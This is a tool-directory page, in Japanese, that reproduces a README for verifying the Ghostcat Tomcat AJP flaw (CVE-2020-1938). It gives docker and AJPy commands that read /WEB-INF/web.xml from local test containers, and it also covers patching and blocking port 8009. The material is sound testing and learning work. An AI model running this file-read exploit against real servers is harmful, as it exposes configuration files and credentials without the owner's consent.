Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ghostcat-verification — Ghostcat(別名CVE-2020-1938)に対して脆弱かどうかを検証する方法に関する知見 | Kitploit
ツール/GitHubGitHub/shaunmclernon/ghostcat-verification
脆弱性分析エクスプロイトウェブセキュリティ学習と教育ラボと実践
GitHubshaunmclernon/ghostcat-verification

ghostcat-verification

Ghostcat(別名CVE-2020-1938)に対して脆弱かどうかを検証する方法に関する知見

リポジトリを見る
116年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Ghostcat 検証 (CVE-2020-1938)

概要

Ghostcat と呼ばれる新しいエクスプロイトが発見されました CVE-2020-1938。エクスプロイト自体の詳細と分析については、snyk と tenable の記事を参照してください。

私の場合、どの Tomcat サーバーが悪用可能で、もし可能ならそれがどのように現れるのかを検証したかったのです。そこで、この実験では Tomcat 7、8、9 を確認します。

前提条件

  • docker
  • python
  • git

Tomcat 7 で CVE-2020-1938 を使用してファイルを読み取る

TODO: Tomcat 7 が脆弱であることを確認するにはどうすればよいですか?

Tomcat 8 で CVE-2020-1938 を使用してファイルを読み取る

実稼働サーバーに対してエクスプロイトをテストするのではなく、既存の Tomcat ビルドを使用して、AJP コネクタと通信するために AJP リクエストを作成する AJPy を使って実験を行います。

root@kitploit:~
git clone --recurse-submodules [email protected]:shaunmclernon/ghostcat-verification.git
cd ghostcat-verification/AJPy
docker run --name tomcat --rm -d -p 8080:8080 -p 8009:8009 tomcat:8.5.32
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat

web.xml が返される場合、このバージョンの Tomcat はこのエクスプロイトに対して脆弱です。

最新バージョンの Tomcat 8.5 で同じテストを試すと、この特定のエラーに対しては脆弱ではないことがわかります。

root@kitploit:~
docker run --name tomcat --rm -d -p 8080:8080 -p 8009:8009 tomcat:8.5
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat

この場合、python エラーが発生するはずです。これは実際にはサーバーが脆弱ではないことを意味します。

root@kitploit:~
Traceback (most recent call last):
  File "tomcat.py", line 377, in <module>
    hdrs, data = bf.perform_request("/" + args.webapp + "/xxxxx.jsp", attributes=attributes)
    ...
    ...
struct.error: unpack requires a buffer of 5 bytes

Tomcat 9 で CVE-2020-1938 を使用してファイルを読み取る

TODO: Tomcat 9 が脆弱であることを確認するにはどうすればよいですか?

Springboot

TODO: springboot サービスが脆弱であることを確認するにはどうすればよいですか?

緩和策

明らかに、脆弱な場合(バージョンに関係なく)、パッチ適用済みのバージョンへのアップグレードを検討する必要があります。もう 1 つの選択肢は、AJP ポートへのアクセスをブロックすることです。

同じ Tomcat バージョンを起動しますが、AJP ポート 8009 は公開しません。

root@kitploit:~
docker run --name tomcat --rm -d -p 8080:8080 tomcat:8.5.32
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat

この場合、サーバーへのエクスプロイトが失敗することがわかります。

免責事項

私はセキュリティの専門家ではなく、このリポジトリは学習目的で作成されたものであり、悪意のある目的で使用されることを意図したものではありません。

ツールをダウンロード